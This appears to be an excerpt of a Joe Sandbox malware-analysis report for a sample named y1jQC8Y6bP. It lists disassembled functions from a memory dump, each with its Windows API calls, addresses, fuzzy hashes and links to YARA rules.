Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9380dfdd71ee6fb1208c7efa114355108448963d5734df6d4c4aa2759809f741
Instruction ID: 67049eb2433263a0a7dbe2fe39cf2ee0b7e3ea50f41da277020f754cac69a82f
Opcode Fuzzy Hash: 9380dfdd71ee6fb1208c7efa114355108448963d5734df6d4c4aa2759809f741
Instruction Fuzzy Hash: 4541D335906214BFC711DFA8CC49FE9BBA6EB09321F1C4165F816A73E1C730AD81DA51

Function 00592344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00592357
ScreenToClient.USER32(006557B0,?), ref: 00592374
GetAsyncKeyState.USER32(00000001), ref: 00592399
GetAsyncKeyState.USER32(00000002), ref: 005923A7

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: c1648534698f3648beabda3a7bc10f1b9cde5a3f2c0f3fd1ef938726b1e21b42
Instruction ID: b1dd6866618c6a82bb8495e530b944f600740bfbe016bd05d33c71a87e770edb
Opcode Fuzzy Hash: c1648534698f3648beabda3a7bc10f1b9cde5a3f2c0f3fd1ef938726b1e21b42
Instruction Fuzzy Hash: 06416E35604115FFDF159FA8C849EEDBF75BB05360F24471AF829A22A0C7349990DB91

Function 005E63AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005E63E7
TranslateAcceleratorW.USER32(?,?,?), ref: 005E6433
TranslateMessage.USER32(?), ref: 005E645C
DispatchMessageW.USER32(?), ref: 005E6466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005E6475

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: b9208a2c3c812239a0f3d594b9220852c4afda2f2503e78543be73c56f8a5856
Instruction ID: c305b3957f0edb87fe4188693d60ff848c26a083c9d9d552a173f57eaaeed80d
Opcode Fuzzy Hash: b9208a2c3c812239a0f3d594b9220852c4afda2f2503e78543be73c56f8a5856
Instruction Fuzzy Hash: 463106315007829FDF28CFB2CC98BF67FAABB243C1F145565E4A2C30A1E7259444D760

Function 005E8A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 005E8A30
PostMessageW.USER32(?,00000201,00000001), ref: 005E8ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 005E8AE2
PostMessageW.USER32(?,00000202,00000000), ref: 005E8AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 005E8AF8

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 3d7ac7c173b8f6fd5e5014135655908eae15be88a04bdfbb7642ac48f3496e91
Instruction ID: 1741f5cbc29813789ca96182e7c0c8262eb383e7bb34c2f419602db56e3083cb
Opcode Fuzzy Hash: 3d7ac7c173b8f6fd5e5014135655908eae15be88a04bdfbb7642ac48f3496e91
Instruction Fuzzy Hash: EE31D171500259EFDB18CFA9D94DAEE3BB5FB04325F14822AF968E61D0CBB09914CB90

Function 005EB1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 005EB204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 005EB221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 005EB259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 005EB27F
_wcsstr.LIBCMT ref: 005EB289

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: d5c0377758c0c92a2139472ac0dd834e2d31e588b42466f850e82d58c3eba512
Instruction ID: 3b0f8c3cb6455a144943b100652d8d941844c6a1ba2563dc7d55a9f88b1cbcfa
Opcode Fuzzy Hash: d5c0377758c0c92a2139472ac0dd834e2d31e588b42466f850e82d58c3eba512
Instruction Fuzzy Hash: D12137366042417BFB199B769C09EBF7F9DEF89761F00813AF944DA1A1EF61DC4092A0

Function 0061B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

GetWindowLongW.USER32(?,000000F0), ref: 0061B192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0061B1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0061B1CF
GetSystemMetrics.USER32(00000004), ref: 0061B1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00600E90,00000000), ref: 0061B216

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 20d987a27bfa2f0063c2622d1dca79a8182bd30e1871ca5124d62ff9bfe4502f
Instruction ID: 620182e08b4d56dc37669221fd4c3ab411a838047454b11c4c9b3fde5e810dd6
Opcode Fuzzy Hash: 20d987a27bfa2f0063c2622d1dca79a8182bd30e1871ca5124d62ff9bfe4502f
Instruction Fuzzy Hash: D0219471A10651AFCB109F38DC18AEA3BA6FB15361F195735F932D72E0D73099518B90

Function 005E9307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 005E9320

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 005E9352
__itow.LIBCMT ref: 005E936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 005E9392
__itow.LIBCMT ref: 005E93A3

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 4f5725f5e7b5bb6ca35ae68e9f7e1ceecb0c90bbbf6375fb864c8ad6a286f23b
Instruction ID: 4681e0cc4883a1ba4d96ccfed2d62ddddcc7be61edd337a18f97ac91fef2c288
Opcode Fuzzy Hash: 4f5725f5e7b5bb6ca35ae68e9f7e1ceecb0c90bbbf6375fb864c8ad6a286f23b
Instruction Fuzzy Hash: 6521F531700249ABDB24AB659C89EEE7FA9FBCD710F044425F984E71D1D6B08D419791

Function 00605A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00605A6E
GetForegroundWindow.USER32 ref: 00605A85
GetDC.USER32(00000000), ref: 00605AC1
GetPixel.GDI32(00000000,?,00000003), ref: 00605ACD
ReleaseDC.USER32(00000000,00000003), ref: 00605B08

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 244967bc1ee102ffb5a1f2e4fdaba166dd745ae50a1ef9eb45d8fb4a86aa18e6
Instruction ID: 6098149476e85a109d0bc1229906d9ac3bf8fc47576a16d2b62c72c67b1fa8a1
Opcode Fuzzy Hash: 244967bc1ee102ffb5a1f2e4fdaba166dd745ae50a1ef9eb45d8fb4a86aa18e6
Instruction Fuzzy Hash: F4218435A01504AFDB14EF69DC89AAABBE6EF88310F14C479F80AD7351DA75AD01CB90

Function 005912F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0059134D
SelectObject.GDI32(?,00000000), ref: 0059135C
BeginPath.GDI32(?), ref: 00591373
SelectObject.GDI32(?,00000000), ref: 0059139C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 3e35d3ffe73c0c659ead717864d9b0c1739c62ce8cd438d80b704679eb3b05a5
Instruction ID: d9474ce37e2604dae9a0b0e74c396d90e90aca90db5dd9dd7cef1cde0e7989ca
Opcode Fuzzy Hash: 3e35d3ffe73c0c659ead717864d9b0c1739c62ce8cd438d80b704679eb3b05a5
Instruction Fuzzy Hash: A7217A30910B29EFDF10CF25DD187A93BBAFB10322F189626E812961A0D7719891CF94

Function 005F4A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 005F4ABA
__beginthreadex.LIBCMT ref: 005F4AD8
MessageBoxW.USER32(?,?,?,?), ref: 005F4AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 005F4B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 005F4B0A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: db11981268a545bb4ddc0bf559f78041ead32b3ce8cfd6ff34166fc38f158d57
Instruction ID: fbb3b367f0ced6f7bdecd3870012dc01c308345080e7a626675726c9811bb816
Opcode Fuzzy Hash: db11981268a545bb4ddc0bf559f78041ead32b3ce8cfd6ff34166fc38f158d57
Instruction Fuzzy Hash: E1110876904608BBDB01DFA8DC08AEB7FAEFB45321F188266F915D3251D675CA008BA0

Function 005E8202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 005E821E
GetLastError.KERNEL32(?,005E7CE2,?,?,?), ref: 005E8228
GetProcessHeap.KERNEL32(00000008,?,?,005E7CE2,?,?,?), ref: 005E8237
HeapAlloc.KERNEL32(00000000,?,005E7CE2,?,?,?), ref: 005E823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 005E8255

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: f775a4fb653f271420f81b32e6ada564d1c0bf0984e5371e896e418949762985
Instruction ID: f44dab329b83ea9a36aa2492daf6c87fab2bddc9efbf1076025a88bfe809196b
Opcode Fuzzy Hash: f775a4fb653f271420f81b32e6ada564d1c0bf0984e5371e896e418949762985
Instruction Fuzzy Hash: 63016D75200244BFDB244FA6DC48DAB7FAEFF8A754B54856AF94DC2220DA318C00DAA0

Function 005E710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?,?,?,005E7455), ref: 005E7127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?,?), ref: 005E7142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?,?), ref: 005E7150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?), ref: 005E7160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,005E7044,80070057,?,?), ref: 005E716C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: cf155c08db85a32917c72342cf629b5d9d1d8ece2722bc0afe14d8193f2c039e
Instruction ID: 666ecc4c39f4a4537fde5e051d318a746fc47c2b043ab33519afc193133017b6
Opcode Fuzzy Hash: cf155c08db85a32917c72342cf629b5d9d1d8ece2722bc0afe14d8193f2c039e
Instruction Fuzzy Hash: DF017C76601308ABDB198F65DC44BAA7FBEFB48791F1850A5FD48D2220E731DD41DBA0

Function 005F5244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005F5260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 005F526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 005F5276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 005F5280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005F52BC

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: c92735249625e1e67c91741f6395722131798e3d8aef91d9eef0cd8cacc060cb
Instruction ID: a6fdf2be9d00aeeba8768b792c91b9cee87e5d0c845834d630b860fb3e484a72
Opcode Fuzzy Hash: c92735249625e1e67c91741f6395722131798e3d8aef91d9eef0cd8cacc060cb
Instruction Fuzzy Hash: FE016935D01A1DEBCF00EFE4E849AEDBF79FB0C711F444656EA41B2241DB38555087A1

Function 005E810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 005E8121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 005E812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 005E813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 005E8141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 005E8157

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 8f683f01f8bc70767919aea4b44b0132ddfe72a0dc445711c909c85e4ef14c7f
Instruction ID: a0327c0d06a15a22739cfc79e7d6d64bc1f925b417072b6b8d0fe8edbf1c6c45
Opcode Fuzzy Hash: 8f683f01f8bc70767919aea4b44b0132ddfe72a0dc445711c909c85e4ef14c7f
Instruction Fuzzy Hash: 2EF0C270200344BFEB150FA5EC88FB73FADFF49755B044026F989C2150CB619D41EA60

Function 005EC1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 005EC1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 005EC20E
MessageBeep.USER32(00000000), ref: 005EC226
KillTimer.USER32(?,0000040A), ref: 005EC242
EndDialog.USER32(?,00000001), ref: 005EC25C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: e0aa80512aa4b9b5dd7f17a6613d52052c1b9b1d9b79a408380f30e14cb58be5
Instruction ID: 60be5d16e5a69e9dc38f80db78d9e10a2372e67802a8f1dad7c9e66b70f1f792
Opcode Fuzzy Hash: e0aa80512aa4b9b5dd7f17a6613d52052c1b9b1d9b79a408380f30e14cb58be5
Instruction Fuzzy Hash: 5501DB3450470497EB245B55ED4EFD67F79FF00705F04566AF6C2914E0D7F0A9458B90

Function 005913B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 005913BF
StrokeAndFillPath.GDI32(?,?,005CB888,00000000,?), ref: 005913DB
SelectObject.GDI32(?,00000000), ref: 005913EE
DeleteObject.GDI32 ref: 00591401
StrokePath.GDI32(?), ref: 0059141C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 9b46a8c99c346e35096591db8ae8b1fe8621551f85588ca5a697920f977cae43
Instruction ID: 44d6a6a917eb25c440c6121a10e6928272e5d15d9b62789442da700372cbe384
Opcode Fuzzy Hash: 9b46a8c99c346e35096591db8ae8b1fe8621551f85588ca5a697920f977cae43
Instruction Fuzzy Hash: D7F0C430014B29EBDF119F26ED6C7983FA6BB25327F08E225E42A891F1C7318995DF54

Function 005A2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 005B0DB6: std::exception::exception.LIBCMT ref: 005B0DEC
Part of subcall function 005B0DB6: __CxxThrowException@8.LIBCMT ref: 005B0E01

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 00597A51: _memmove.LIBCMT ref: 00597AAB

__swprintf.LIBCMT ref: 005A2ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 005A2D66

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 1b510f4525538fead87a9629579f458e9c34b0d0aaedcd218e1e39260528fef7
Instruction ID: 90035c9d01018a76e0f0a6044245d9da2aa71027b63c14f214a0e24d0c914885
Opcode Fuzzy Hash: 1b510f4525538fead87a9629579f458e9c34b0d0aaedcd218e1e39260528fef7
Instruction Fuzzy Hash: 6D914B711182069FDB14EF28C88AD7EBBA8FF99710F00491EF4559B2A1EA20ED45CB52

Function 005FB93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00594750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00594743,?,?,005937AE,?), ref: 00594770

CoInitialize.OLE32(00000000), ref: 005FB9BB
CoCreateInstance.OLE32(00622D6C,00000000,00000001,00622BDC,?), ref: 005FB9D4
CoUninitialize.OLE32 ref: 005FB9F1

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

Strings

.lnk, xrefs: 005FB99D, 005FB9AB

Memory Dump Source

